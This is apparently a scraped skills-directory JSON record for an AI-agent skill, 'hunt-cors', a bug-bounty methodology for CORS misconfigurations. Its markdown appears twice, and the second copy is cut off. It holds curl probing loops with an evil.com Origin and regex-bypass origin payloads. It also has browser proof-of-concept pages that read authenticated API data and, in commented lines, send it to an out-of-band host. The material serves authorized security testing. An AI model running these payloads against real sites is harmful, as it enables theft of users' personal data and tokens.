[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5RPEW4W9ABM0AADP7WFHJ":3,"skill-same:01M6P5RPEW4W9ABM0AADP7WFHJ":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":29,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6P5RPEW4W9ABM0AADP7WFHJ","hunt-cors",null,"Hunt CORS Misconfiguration","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-cors\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt cors","cors","hunt","community","for","relevant","helper","offensive","scripts","scope","commands","main","testing","only","misconfiguration","Tools","license","testing tools","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-cors\ndescription: Hunt CORS Misconfiguration\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nreport_count: 19\nsources: hackerone_public\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send\u002Fexpose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational\u002FLow.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects\u002Fallows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`\u002Fredirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing\u002Floose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   \u002Fapi\u002F*, \u002Fv1\u002F*, \u002Fgraphql\nProfile\u002Faccount: \u002Fapi\u002Fme, \u002Fapi\u002Fprofile, \u002Fapi\u002Fuser, \u002Fapi\u002Fsession\nSecrets\u002Ftokens:  \u002Fapi\u002Ftokens, \u002Fapi\u002Fkeys, \u002Fapi\u002Fcsrf, \u002Fapi\u002Faccount\u002Fsettings\nFinancial:       \u002Fapi\u002Fbalance, \u002Fapi\u002Ftransactions\nAdmin\u002Finternal:  \u002Fapi\u002Fadmin\u002F*, \u002Fapi\u002Finternal\u002F*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o \u002Fdev\u002Fnull \"$url\" \\\n    -H \"Origin: https:\u002F\u002Fevil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone \u003C recon\u002F$TARGET\u002Fapi-endpoints.txt\n\n# httpx bulk check\ncat recon\u002F$TARGET\u002Flive-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https:\u002F\u002Fevil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https:\u002F\u002Fevil.com   \u003C- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          \u003C- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   \u003C- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        \u003C- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain \u002F trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?:\u002F\u002F.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?:\u002F\u002F.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https:\u002F\u002Feviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?:\u002F\u002F.*\\.target\\.com` | **Missing end-anchor `$`** | `https:\u002F\u002Fx.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?:\u002F\u002Ftarget\\.com` | **Prefix-only, no `$`** | `https:\u002F\u002Ftarget.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?:\u002F\u002F.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https:\u002F\u002FxtargetXcom...` style, or `https:\u002F\u002FevilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https:\u002F\u002Ftarget.com%60.evil.com`, `https:\u002F\u002Ftarget.com\\x60evil.com` | some parsers treat backtick\u002Funderscore as letters; Safari\u002Folder browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https:\u002F\u002Fevil.target.com\" \\\n  \"https:\u002F\u002Feviltarget.com\" \\\n  \"https:\u002F\u002Fx.target.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com%60.evil.com\" \\\n  \"http:\u002F\u002Ftarget.com\"; do\n  RESULT=$(curl -s -D - -o \u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 \u002F hunt-subdomain).\n\n### Phase 3b — Trusted insecure (HTTP) origin\nIf ACAO reflects\u002Fallows any `http:\u002F\u002F` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.\n```bash\ncurl -s -D- -o\u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" -H \"Origin: http:\u002F\u002Fsub.$TARGET\" -H \"Cookie: $SESSION\" | grep -i access-control\n```\nReal only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`\u002F`DELETE`\u002F`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method\u002Fheader. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods\u002Fheaders for your origin?**\n   If `Access-Control-Allow-Methods` \u002F `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON\u002FSameSite would otherwise block).\n\n```bash\ncurl -s -D - -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F$TARGET\u002Fapi\u002Faccount\u002Femail\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT\u002FDELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET\u002FPOST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET\u002FPOST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n\u003C!doctype html>\u003Cbody>\u003Cpre id=\"out\">\u003C\u002Fpre>\n\u003Cscript>\nfetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        \u002F\u002F prove readable body\n    \u002F\u002F OOB proof: fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\nIf you see `BLOCKED` \u002F a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n\u003C!doctype html>\u003Cbody>\n\u003C!-- Outer page hosted anywhere -->\n\u003Ciframe sandbox=\"allow-scripts\" srcdoc='\n  \u003Cscript>\n    fetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;\u002Fscript&gt;'>\u003C\u002Fiframe>\n\u003Cscript>\nwindow.addEventListener(\"message\", e => {\n  \u002F\u002F d is the authed body, read cross-origin via a null Origin\n  \u002F\u002F fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\n(Alternative null-origin emitters: a `data:` \u002F `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon\u002F$TARGET\u002F --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      \u003C- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          \u003C- \"eviltarget.com\" passes\n#   startsWith(\"https:\u002F\u002Ftarget\")     \u003C- \"https:\u002F\u002Ftarget.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection\u002Fnull\u002Fpre-domain checks\npip3 install corsy\ncorsy -u https:\u002F\u002F$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https:\u002F\u002F$TARGET -t http\u002Fmisconfiguration\u002Fcors\u002F\n\n# Burp: passively flags origin reflection; always re-confirm in a real browser.\n```\nEvery automated hit is a lead, not a finding. Reproduce 5a\u002F5b in a browser.\n\n---\n\n## Chain Table\n\n| CORS finding | Chain to | Impact |\n|---|---|---|\n| Reflects attacker origin + creds | Browser-read `\u002Fapi\u002Fme`, `\u002Fapi\u002Ftokens`, `\u002Fapi\u002Fcsrf` | PII + token + CSRF-token theft → often ATO |\n| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |\n| Pre-flight allows arbitrary method\u002Fheader | Drive authed `PUT`\u002F`DELETE` from evil origin | Cross-origin state change |\n| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |\n| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |\n| postMessage no\u002Floose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS \u002F client auth bypass |\n\n---\n\n## Validation discipline (read before submitting)\n\n- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.\n  Show a screenshot\u002Fconsole log of the authed body read from `evil.com`. If the\n  fetch throws \u002F logs `BLOCKED`, you have nothing.\n- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue\n  wildcard if the data is sensitive unauthenticated (then it is usually Low).\n- **`ACAC: true` alone proves nothing** — it must pair with your reflected\n  origin AND a successful readable cross-origin body.\n- **Match the regex class to the payload (Phase 3).** Do not submit\n  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not\n  match and is not a bug.\n- **`evil.target.com` reflecting is not automatically a bug** — it is an\n  in-scope subdomain by design unless you can actually control it.\n- **OOB confirmation** for blind\u002Fheadless contexts: exfil the read body to a\n  Burp Collaborator \u002F oastify host and show the interaction. Use a unique\n  per-test marker so the hit is unambiguously yours.\n- **Sensitive data requirement.** A readable `\u002Fapi\u002Fhealth` is not High. Tie the\n  read to PII, tokens, secrets, or financial data to justify severity.\n\n**Severity:**\n- Reflects attacker origin + creds + sensitive body, browser-proven: High\n- Pre-flight authorizes attacker-origin state change on sensitive action: High\n- Null-origin + sensitive authed body, browser-proven: Medium–High\n- Subdomain-takeover\u002FXSS-assisted credentialed read: High\u002FCritical\n- Reflects origin, no credentials \u002F non-sensitive: Low–Informational\n- `ACAO: *` only (no creds possible): Informational unless data is secret\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send\u002Fexpose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational\u002FLow.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects\u002Fallows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`\u002Fredirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing\u002Floose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   \u002Fapi\u002F*, \u002Fv1\u002F*, \u002Fgraphql\nProfile\u002Faccount: \u002Fapi\u002Fme, \u002Fapi\u002Fprofile, \u002Fapi\u002Fuser, \u002Fapi\u002Fsession\nSecrets\u002Ftokens:  \u002Fapi\u002Ftokens, \u002Fapi\u002Fkeys, \u002Fapi\u002Fcsrf, \u002Fapi\u002Faccount\u002Fsettings\nFinancial:       \u002Fapi\u002Fbalance, \u002Fapi\u002Ftransactions\nAdmin\u002Finternal:  \u002Fapi\u002Fadmin\u002F*, \u002Fapi\u002Finternal\u002F*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o \u002Fdev\u002Fnull \"$url\" \\\n    -H \"Origin: https:\u002F\u002Fevil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone \u003C recon\u002F$TARGET\u002Fapi-endpoints.txt\n\n# httpx bulk check\ncat recon\u002F$TARGET\u002Flive-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https:\u002F\u002Fevil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https:\u002F\u002Fevil.com   \u003C- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          \u003C- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   \u003C- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        \u003C- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o \u002Fdev\u002Fnull https:\u002F\u002F$TARGET\u002Fapi\u002Fme \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain \u002F trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?:\u002F\u002F.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?:\u002F\u002F.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https:\u002F\u002Feviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?:\u002F\u002F.*\\.target\\.com` | **Missing end-anchor `$`** | `https:\u002F\u002Fx.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?:\u002F\u002Ftarget\\.com` | **Prefix-only, no `$`** | `https:\u002F\u002Ftarget.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?:\u002F\u002F.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https:\u002F\u002FxtargetXcom...` style, or `https:\u002F\u002FevilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https:\u002F\u002Ftarget.com%60.evil.com`, `https:\u002F\u002Ftarget.com\\x60evil.com` | some parsers treat backtick\u002Funderscore as letters; Safari\u002Folder browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https:\u002F\u002Fevil.target.com\" \\\n  \"https:\u002F\u002Feviltarget.com\" \\\n  \"https:\u002F\u002Fx.target.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com.evil.com\" \\\n  \"https:\u002F\u002Ftarget.com%60.evil.com\" \\\n  \"http:\u002F\u002Ftarget.com\"; do\n  RESULT=$(curl -s -D - -o \u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 \u002F hunt-subdomain).\n\n### Phase 3b — Trusted insecure (HTTP) origin\nIf ACAO reflects\u002Fallows any `http:\u002F\u002F` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.\n```bash\ncurl -s -D- -o\u002Fdev\u002Fnull \"https:\u002F\u002F$TARGET\u002Fapi\u002Fme\" -H \"Origin: http:\u002F\u002Fsub.$TARGET\" -H \"Cookie: $SESSION\" | grep -i access-control\n```\nReal only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`\u002F`DELETE`\u002F`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method\u002Fheader. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods\u002Fheaders for your origin?**\n   If `Access-Control-Allow-Methods` \u002F `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON\u002FSameSite would otherwise block).\n\n```bash\ncurl -s -D - -o \u002Fdev\u002Fnull -X OPTIONS \"https:\u002F\u002F$TARGET\u002Fapi\u002Faccount\u002Femail\" \\\n  -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT\u002FDELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET\u002FPOST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET\u002FPOST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n\u003C!doctype html>\u003Cbody>\u003Cpre id=\"out\">\u003C\u002Fpre>\n\u003Cscript>\nfetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        \u002F\u002F prove readable body\n    \u002F\u002F OOB proof: fetch(\"https:\u002F\u002FOOB-ID.oastify.com\u002F?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n\u003C\u002Fscript>\u003C\u002Fbody>\n```\nIf you see `BLOCKED` \u002F a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n\u003C!doctype html>\u003Cbody>\n\u003C!-- Outer page hosted anywhere -->\n\u003Ciframe sandbox=\"allow-scripts\" srcdoc='\n  \u003Cscript>\n    fetch(\"https:\u002F\u002FTARGET\u002Fapi\u002Fme\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;\u002Fscript&gt;'>\u003C\u002Fiframe>\n\u003Cscript>\nwindow.addEventListener(\"message\", e => {\n  \u002F\u002F d is the authed body, read cross-origin via a null Origin\n  \u002F\u002F 